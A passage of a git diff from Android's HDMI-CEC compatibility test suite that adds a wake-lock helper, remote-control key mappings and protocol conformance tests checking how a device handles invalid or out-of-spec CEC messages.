+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBERS_5,"5");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBERS_6,"6");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBERS_7,"7");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBERS_8,"8");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBERS_9,"9");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_CHANNEL_UP,"CHANNEL_UP");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_CHANNEL_DOWN,"CHANNEL_DOWN");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_PREVIOUS_CHANNEL,"LAST_CHANNEL");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_DISPLAY_INFORMATION,"INFO");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_PLAY,"MEDIA_PLAY");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_STOP,"MEDIA_STOP");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_PAUSE,"MEDIA_PAUSE");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_RECORD,"MEDIA_RECORD");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_REWIND,"MEDIA_REWIND");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_FAST_FORWARD,"MEDIA_FAST_FORWARD");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_EJECT,"MEDIA_EJECT");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_FORWARD,"MEDIA_NEXT");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_BACKWARD,"MEDIA_PREVIOUS");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_F1_BLUE,"PROG_BLUE");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_F2_RED,"PROG_RED");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_F3_GREEN,"PROG_GREEN");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_F4_YELLOW,"PROG_YELLOW");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_DATA,"TV_DATA_SERVICE");
+        return userControlPressKeys;
+    }
+
+    public static void checkUserControlPressAndRelease(
+            HdmiCecClientWrapper hdmiCecClient,
+            ITestDevice device,
+            LogicalAddress sourceDevice,
+            LogicalAddress dutLogicalAddress,
+            int cecKeycode,
+            String androidKeycode)
+            throws Exception {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND);
+
+        hdmiCecClient.sendUserControlPressAndRelease(
+                sourceDevice, dutLogicalAddress, cecKeycode, false);
+        LogHelper.assertLog(device, CLASS, "Short press KEYCODE_" + androidKeycode);
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/WakeLockHelper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/WakeLockHelper.java
new file mode 100644
index 0000000..a6043dc
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/WakeLockHelper.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Helper class to help standby test acquire and release wakelock to avoid device going into deep
+ * sleep.
+ */
+public final class WakeLockHelper {
+    private static final String TAG = "HdmiCecWakeLock";
+    private static final String ACQUIRE_LOCK = "android.hdmicec.app.ACQUIRE_LOCK";
+    private static final String RELEASE_LOCK = "android.hdmicec.app.RELEASE_LOCK";
+
+    /** The package name of the APK. */
+    private static final String PACKAGE = "android.hdmicec.app";
+
+    /** The class name of the wake lock activity in the APK. */
+    private static final String CLASS = "HdmiCecWakeLock";
+
+    /** The command to launch the wake lock activity. */
+    private static final String START_COMMAND =
+            String.format("am start -n %s/%s.%s -a ", PACKAGE, PACKAGE, CLASS);
+
+    /** The command to clear the wake lock activity. */
+    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+    private static boolean mWakelockAcquired = false;
+
+    public static void acquirePartialWakeLock(ITestDevice device) throws Exception {
+        if (mWakelockAcquired == false) {
+            // Clear activity if any.
+            device.executeShellCommand(CLEAR_COMMAND);
+            // Start the APK to acquire the wake lock and wait for it to complete.
+            device.executeShellCommand(START_COMMAND + ACQUIRE_LOCK);
+            LogHelper.assumeLog(device, TAG, "Acquired wake lock.");
+            mWakelockAcquired = true;
+        }
+    }
+
+    public static void releasePartialWakeLock(ITestDevice device) throws Exception {
+        if (mWakelockAcquired == true) {
+            // Release the acquired wake lock.
+            device.executeShellCommand(START_COMMAND + RELEASE_LOCK);
+            // Clear activity
+            device.executeShellCommand(CLEAR_COMMAND);
+            mWakelockAcquired = false;
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
index c4a1779..72a2cf0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
@@ -16,16 +16,14 @@
 
 package android.hdmicec.cts.audio;
 
-import static org.junit.Assume.assumeNoException;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
+import android.hdmicec.cts.error.CecClientWrapperException;
+import android.hdmicec.cts.error.ErrorCodes;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -48,19 +46,22 @@
 
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, AUDIO_DEVICE))
-            .around(hdmiCecClient);
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
+                    .around(hdmiCecClient);
 
-    private void checkArcIsInitiated(){
+    private void checkArcIsInitiated() throws CecClientWrapperException {
         try {
             hdmiCecClient.sendCecMessage(LogicalAddress.TV, AUDIO_DEVICE,
                     CecOperand.REQUEST_ARC_INITIATION);
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.INITIATE_ARC);
-        } catch(Exception e) {
-            assumeNoException(e);
+        } catch (CecClientWrapperException e) {
+            if (e.getErrorCode() != ErrorCodes.CecMessageNotFound) {
+                throw e;
+            }
         }
     }
 
@@ -92,11 +93,11 @@
                 CecOperand.REPORT_PHYSICAL_ADDRESS,
                 CecMessage.formatParams(HdmiCecConstants.TV_PHYSICAL_ADDRESS,
                         HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH));
-        getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+        sendDeviceToSleep();
         try {
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TERMINATE_ARC);
         } finally {
-            getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            wakeUpDevice();
         }
     }
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index 80075b9..1b36a61 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -16,21 +16,15 @@
 
 package android.hdmicec.cts.audio;
 
-import static com.google.common.truth.Truth.assertThat;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogHelper;
+import android.hdmicec.cts.error.CecClientWrapperException;
+import android.hdmicec.cts.error.ErrorCodes;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
-import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Ignore;
@@ -65,19 +59,22 @@
 
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, AUDIO_DEVICE))
-            .around(hdmiCecClient);
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
+                    .around(hdmiCecClient);
 
-    private void checkArcIsInitiated(){
+    private void checkArcIsInitiated() throws CecClientWrapperException {
         try {
             hdmiCecClient.sendCecMessage(LogicalAddress.TV, AUDIO_DEVICE,
                 CecOperand.REQUEST_ARC_INITIATION);
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.INITIATE_ARC);
-        } catch(Exception e) {
-            assumeNoException(e);
+        } catch (CecClientWrapperException e) {
+            if (e.getErrorCode() != ErrorCodes.CecMessageNotFound) {
+                throw e;
+            }
         }
     }
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index 61c3da1..f237edb 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -49,11 +49,12 @@
 
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, AUDIO_DEVICE))
-            .around(hdmiCecClient);
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
+                    .around(hdmiCecClient);
 
     /**
      * Test 10.2.5-1
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
index 120e9ac..c735067 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
@@ -41,11 +41,12 @@
 
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.AUDIO_SYSTEM))
-            .around(hdmiCecClient);
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
+                    .around(hdmiCecClient);
 
     /**
      * Test 11.2.13-1
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
index 2262f18..e27ae7e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
@@ -54,11 +54,12 @@
 
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, AUDIO_DEVICE))
-            .around(hdmiCecClient);
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
+                    .around(hdmiCecClient);
 
     public void sendSystemAudioModeTermination() throws Exception {
         hdmiCecClient.sendCecMessage(LogicalAddress.TV, AUDIO_DEVICE,
@@ -209,15 +210,15 @@
     @Test
     public void cect_11_2_15_6_SystemAudioModeOffBeforeStandby() throws Exception {
         try {
-            getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            wakeUpDevice();
             sendSystemAudioModeInitiation();
             String message = hdmiCecClient.checkExpectedOutput(CecOperand.SET_SYSTEM_AUDIO_MODE);
             assertThat(CecMessage.getParams(message)).isEqualTo(ON);
-            getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+            sendDeviceToSleep();
             message = hdmiCecClient.checkExpectedOutput(CecOperand.SET_SYSTEM_AUDIO_MODE);
             assertThat(CecMessage.getParams(message)).isEqualTo(OFF);
         } finally {
-            getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            wakeUpDevice();
         }
     }
 
@@ -250,7 +251,7 @@
                 CecMessage.formatParams(HdmiCecConstants.TV_PHYSICAL_ADDRESS,
                     HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH));
         hdmiCecClient.sendUserControlPressAndRelease(LogicalAddress.TV, AUDIO_DEVICE,
-                HdmiCecConstants.CEC_CONTROL_MUTE, false);
+                HdmiCecConstants.CEC_KEYCODE_MUTE, false);
         assertWithMessage("Device is not muted")
                 .that(AudioManagerHelper.isDeviceMuted(getDevice()))
                 .isTrue();
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
new file mode 100644
index 0000000..862fcbe
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
@@ -0,0 +1,212 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.RemoteControlPassthrough;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/** HDMI CEC 2.0 general protocol tests */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecGeneralProtocolTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test HF4-2-2
+     *
+     * <p> Verify that device ignores applicable messages sent from logical address F to DUT. (one
+     * by one, with a 3 sec spacing).
+     */
+    @Test
+    public void cect_4_2_2_ignoreMessagesFromAddressF() throws Exception {
+        setCec20();
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.GIVE_TUNER_DEVICE_STATUS, "01");
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.RECORD_ON);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.RECORD_OFF);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.RECORD_TV_SCREEN);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.GIVE_DECK_STATUS, "01");
+        sendMessageAndVerifyNoMessageSentFromDevice(
+                CecOperand.CLEAR_ANALOG_TIMER, "02:02:02:02:02:02:00:00:00:02:00");
+        sendMessageAndVerifyNoMessageSentFromDevice(
+                CecOperand.SET_ANALOG_TIMER, "02:02:02:02:02:02:00:00:00:02:00");
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.PLAY, "05");
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.DECK_CONTROL, "01");
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.GIVE_OSD_NAME);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.GIVE_AUDIO_STATUS);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.VENDOR_COMMAND, "00:01");
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.MENU_REQUEST, "00");
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.GIVE_POWER_STATUS);
+        sendMessageAndVerifyNoMessageSentFromDevice(
+                CecOperand.SET_DIGITAL_TIMER, "02:02:02:02:02:02:00:00:00:02:00");
+        sendMessageAndVerifyNoMessageSentFromDevice(
+                CecOperand.CLEAR_DIGITAL_TIMER, "02:02:02:02:02:02:00:00:00:02:00");
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.GET_CEC_VERSION);
+        sendMessageAndVerifyNoMessageSentFromDevice(
+                CecOperand.CLEAR_EXTERNAL_TIMER, "02:02:02:02:02:02:00:10:02");
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.REQUEST_SHORT_AUDIO_DESCRIPTOR);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.INITIATE_ARC);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.REQUEST_ARC_INITIATION);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.REQUEST_ARC_TERMINATION);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.TERMINATE_ARC);
+        sendMessageAndVerifyNoMessageSentFromDevice(CecOperand.ABORT);
+    }
+
+    public void sendMessageAndVerifyNoMessageSentFromDevice(CecOperand message, String params)
+            throws Exception {
+        hdmiCecClient.sendCecMessage(message, params);
+        // Default timeout for the incoming command to arrive in response to a request is 2 secs
+        // Thus test ensures no messages are sent from DUT for a spacing of 3 secs
+        hdmiCecClient.checkNoMessagesSentFromDevice(3000);
+    }
+
+    public void sendMessageAndVerifyNoMessageSentFromDevice(CecOperand message) throws Exception {
+        sendMessageAndVerifyNoMessageSentFromDevice(message, "");
+    }
+
+    /**
+     * Test HF4-2-5, HF4-2-6 (CEC 2.0)
+     *
+     * <p>Tests that the device ignores any additional trailing parameters in an otherwise correct
+     * CEC message.
+     *
+     * <p>e.g. If {@code 14:44:01:02 (<UCP>[KEYCODE_DPAD_UP])} is sent to the DUT, the DUT should
+     * ignore the last byte of the parameter and treat it as {@code <UCP>[KEYCODE_DPAD_UP]}
+     */
+    @Test
+    public void cect_hf_ignoreAdditionalParams() throws Exception {
+        setCec20();
+        RemoteControlPassthrough.checkUserControlPressAndReleaseWithAdditionalParams(
+                hdmiCecClient, getDevice(), LogicalAddress.RECORDER_1, getTargetLogicalAddress());
+    }
+
+    /**
+     * Test HF4-2-15 (CEC 2.0)
+     *
+     * <p>Tests that the DUT responds to mandatory messages in both on and standby states
+     */
+    @Test
+    public void cect_hf_4_2_15() throws Exception {
+        setCec20();
+        int cecVersion = HdmiCecConstants.CEC_VERSION_2_0;
+        int physicalAddressParams;
+        int features = 0;
+        String osdName;
+
+        sendDeviceToSleep();
+        try {
+            // Check POLL message response
+            hdmiCecClient.sendPoll();
+            if (!hdmiCecClient.checkConsoleOutput(HdmiCecConstants.POLL_SUCCESS)) {
+                throw new Exception("Device did not respond to Poll");
+            }
+
+            // Check CEC version
+            hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GET_CEC_VERSION);
+            String message =
+                    hdmiCecClient.checkExpectedOutput(
+                            hdmiCecClient.getSelfDevice(), CecOperand.CEC_VERSION);
+            assertThat(CecMessage.getParams(message)).isEqualTo(cecVersion);
+
+            // Give physical address
+            hdmiCecClient.sendCecMessage(
+                    hdmiCecClient.getSelfDevice(), CecOperand.GIVE_PHYSICAL_ADDRESS);
+            message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+            physicalAddressParams = CecMessage.getParams(message);
+
+            // Give features
+            hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GIVE_FEATURES);
+            message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_FEATURES);
+            features = CecMessage.getParams(message);
+
+            // Give power status
+            hdmiCecClient.sendCecMessage(
+                    hdmiCecClient.getSelfDevice(), CecOperand.GIVE_POWER_STATUS);
+            message =
+                    hdmiCecClient.checkExpectedOutput(
+                            hdmiCecClient.getSelfDevice(), CecOperand.REPORT_POWER_STATUS);
+            assertThat(CecMessage.getParams(message))
+                    .isEqualTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+
+            // Give OSD name
+            hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GIVE_OSD_NAME);
+            message =
+                    hdmiCecClient.checkExpectedOutput(
+                            hdmiCecClient.getSelfDevice(), CecOperand.SET_OSD_NAME);
+            osdName = CecMessage.getParamsAsString(message);
+        } finally {
+            wakeUpDevice();
+        }
+
+        // Repeat the above with DUT not in standby, and verify that the responses are the same,
+        // except the <Report Power Status> message
+        // Check POLL message response
+        hdmiCecClient.sendPoll();
+        if (!hdmiCecClient.checkConsoleOutput(HdmiCecConstants.POLL_SUCCESS)) {
+            throw new Exception("Device did not respond to Poll");
+        }
+
+        // Check CEC version
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GET_CEC_VERSION);
+        String message =
+                hdmiCecClient.checkExpectedOutput(
+                        hdmiCecClient.getSelfDevice(), CecOperand.CEC_VERSION);
+        assertThat(CecMessage.getParams(message)).isEqualTo(cecVersion);
+
+        // Give physical address
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(), CecOperand.GIVE_PHYSICAL_ADDRESS);
+        message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+        assertThat(CecMessage.getParams(message)).isEqualTo(physicalAddressParams);
+
+        // Give features
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GIVE_FEATURES);
+        message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_FEATURES);
+        assertThat(CecMessage.getParams(message)).isEqualTo(features);
+
+        // Give power status
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GIVE_POWER_STATUS);
+        message =
+                hdmiCecClient.checkExpectedOutput(
+                        hdmiCecClient.getSelfDevice(), CecOperand.REPORT_POWER_STATUS);
+        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+
+        // Give OSD name
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GIVE_OSD_NAME);
+        message =
+                hdmiCecClient.checkExpectedOutput(
+                        hdmiCecClient.getSelfDevice(), CecOperand.SET_OSD_NAME);
+        assertThat(CecMessage.getParamsAsString(message)).isEqualTo(osdName);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
index d6f7ca8..fd7f10a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
@@ -16,6 +16,10 @@
 
 package android.hdmicec.cts.common;
 
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
@@ -32,9 +36,6 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
-import static com.google.common.truth.Truth.assertThat;
-import static org.junit.Assume.assumeTrue;
-
 /** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
@@ -55,6 +56,7 @@
     private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
 
     private LogicalAddress source;
+    private LogicalAddress targetLogicalAddress;
 
     @Rule
     public RuleChain ruleChain =
@@ -63,9 +65,10 @@
                     .around(hdmiCecClient);
 
     @Before
-    public void setup() {
+    public void setup() throws Exception {
         source = (hasDeviceType(HdmiCecConstants.CEC_DEVICE_TYPE_TV)) ? LogicalAddress.RECORDER_1
                                                                       : LogicalAddress.TV;
+        targetLogicalAddress = getTargetLogicalAddress();
     }
 
     /**
@@ -177,7 +180,65 @@
         // Start the APK and wait for it to complete.
         device.executeShellCommand(START_COMMAND);
         hdmiCecClient.sendUserControlPressAndRelease(
-                source, LogicalAddress.BROADCAST, HdmiCecConstants.CEC_CONTROL_UP, false);
+                source, LogicalAddress.BROADCAST, HdmiCecConstants.CEC_KEYCODE_UP, false);
         LogHelper.assertLogDoesNotContain(getDevice(), CLASS, "Short press KEYCODE_DPAD_UP");
     }
+
+    /**
+     * <p>Tests that the device ignores a directly addressed message {@code <GIVE_PHYSICAL_ADDRESS>}
+     * if received as a broadcast message and its source is the device's logical address
+     */
+    @Test
+    public void cect_IgnoreDirectlyAddressedFromSameSource()
+            throws Exception {
+        hdmiCecClient.sendCecMessage(
+                targetLogicalAddress, targetLogicalAddress, CecOperand.GIVE_PHYSICAL_ADDRESS);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                targetLogicalAddress, CecOperand.REPORT_PHYSICAL_ADDRESS);
+    }
+
+    /**
+     * <p>Tests that the device ignores a broadcasted message {@code <REQUEST_ACTIVE_SOURCE>} if its
+     * source has the logical address equal to device's logical address
+     */
+    @Test
+    public void cect_IgnoreBroadcastedFromSameSource()
+            throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_HOME");
+        // The device shall broadcast an <Active Source> message.
+        hdmiCecClient.checkExpectedOutput(
+                LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
+        hdmiCecClient.sendCecMessage(
+                targetLogicalAddress, LogicalAddress.BROADCAST, CecOperand.REQUEST_ACTIVE_SOURCE);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
+    }
+
+    /**
+     * <p>Tests that the device ignores a directly addressed message {@code <GIVE_POWER_STATUS>} if
+     * coming from the unregistered address F. This message should only be sent from a device with
+     * an allocated logical address
+     */
+    @Test
+    public void cect_IgnoreDirectlyAddressedFromUnknownAddress_giveDevicePowerStatus()
+            throws Exception {
+        hdmiCecClient.sendCecMessage(
+                LogicalAddress.UNKNOWN, targetLogicalAddress, CecOperand.GIVE_POWER_STATUS);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.UNKNOWN, CecOperand.REPORT_POWER_STATUS);
+    }
+
+    /**
+     * <p>Tests that the device process a directly addressed message {@code <GIVE_PHYSICAL_ADDRESS>}
+     * if coming from the unregistered address F
+     */
+    @Test
+    public void cect_ProcessAddressedFromUnknownAddress_givePhysicalAddress()
+            throws Exception {
+        hdmiCecClient.sendCecMessage(
+                LogicalAddress.UNKNOWN, targetLogicalAddress, CecOperand.GIVE_PHYSICAL_ADDRESS);
+        hdmiCecClient.checkExpectedOutput(
+                LogicalAddress.UNKNOWN, CecOperand.REPORT_PHYSICAL_ADDRESS);
+    }
 }
